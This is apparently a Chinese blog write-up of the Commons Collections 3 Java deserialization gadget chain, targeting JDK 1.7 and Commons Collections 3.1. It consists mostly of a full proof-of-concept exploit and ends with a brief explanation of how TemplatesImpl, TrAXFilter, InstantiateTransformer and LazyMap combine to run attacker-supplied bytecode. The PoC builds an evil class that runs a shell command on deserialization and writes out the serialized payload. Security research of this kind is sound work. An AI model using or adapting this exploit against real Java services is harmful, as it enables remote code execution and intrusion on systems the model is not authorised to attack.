JDK版本:1.7 (8u71之后已修复不可利用)
    CommonsCollections 3.1

    直接给POC了,就是cc2+cc1

    1. package com.yq1ng.cc3;
    2. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    3. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    4. import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
    5. import javassist.ClassClassPath;
    6. import javassist.ClassPool;
    7. import javassist.CtClass;
    8. import org.apache.commons.collections.Transformer;
    9. import org.apache.commons.collections.functors.ChainedTransformer;
    10. import org.apache.commons.collections.functors.ConstantTransformer;
    11. import org.apache.commons.collections.functors.InstantiateTransformer;
    12. import org.apache.commons.collections.functors.InvokerTransformer;
    13. import org.apache.commons.collections.map.LazyMap;
    14. import javax.xml.transform.Templates;
    15. import java.io.FileInputStream;
    16. import java.io.FileOutputStream;
    17. import java.io.ObjectInputStream;
    18. import java.io.ObjectOutputStream;
    19. import java.lang.reflect.Constructor;
    20. import java.lang.reflect.Field;
    21. import java.lang.reflect.InvocationHandler;
    22. import java.lang.reflect.Proxy;
    23. import java.util.HashMap;
    24. import java.util.Map;
    25. /**
    26. * @author ying
    27. * @Description
    28. * @create 2021-11-23 13:47
    29. */
    30. public class cc3 {
    31. public static void main(String[] args) throws Exception {
    32. ClassPool pool = ClassPool.getDefault();
    33. pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
    34. CtClass cc = pool.makeClass("Cat");
    35. String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
    36. cc.makeClassInitializer().insertBefore(cmd);
    37. String randomClassName = "EvilCat" + System.nanoTime();
    38. cc.setName(randomClassName);
    39. cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
    40. byte[] classBytes = cc.toBytecode();
    41. byte[][] targetByteCodes = new byte[][]{classBytes};
    42. TemplatesImpl templates = TemplatesImpl.class.newInstance();
    43. setFieldValue(templates, "_bytecodes", targetByteCodes);
    44. setFieldValue(templates, "_name", "name");
    45. setFieldValue(templates, "_class", null);
    46. /*
    47. 这里new ConstantTransformer(TrAXFilter.class)返回TrAXFilter类,然后传给InstantiateTransformer
    48. InstantiateTransformer在构造函数中实例化TrAXFilter类,然后又调用它的构造方法,进而调用newTransformer()方法
    49. */
    50. ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
    51. new ConstantTransformer(TrAXFilter.class),
    52. new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
    53. });
    54. // 触发InstantiateTransformer#transform()
    55. HashMap innermap = new HashMap();
    56. LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
    57. Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
    58. handler_constructor.setAccessible(true);
    59. InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map);
    60. Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler);
    61. Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
    62. AnnotationInvocationHandler_Constructor.setAccessible(true);
    63. InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);
    64. try{
    65. ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc3"));
    66. outputStream.writeObject(handler);
    67. outputStream.close();
    68. ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc3"));
    69. inputStream.readObject();
    70. }catch(Exception e){
    71. e.printStackTrace();
    72. }
    73. }
    74. public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
    75. final Field field = getField(obj.getClass(), fieldName);
    76. field.set(obj, value);
    77. }
    78. public static Field getField(final Class<?> clazz, final String fieldName) {
    79. Field field = null;
    80. try {
    81. field = clazz.getDeclaredField(fieldName);
    82. field.setAccessible(true);
    83. }
    84. catch (NoSuchFieldException ex) {
    85. if (clazz.getSuperclass() != null)
    86. field = getField(clazz.getSuperclass(), fieldName);
    87. }
    88. return field;
    89. }
    90. }

    先看com/sun/org/apache/xalan/internal/xsltc/trax/TrAXFilter.java
    image.png
    cc2可以知道,TemplatesImpl是可以加载任意字节码的,这个类先放着。
    来看 org/apache/commons/collections/functors/InstantiateTransformer.java,它的transform()又可以实例化任意类
    image.png
    transform()在cc1中是通过 LazyMap#get()触发的,cc2与cc1结合起来就达到从LazyMap到加载任意字节码的效果
    上面poc实现效果如下
    image.png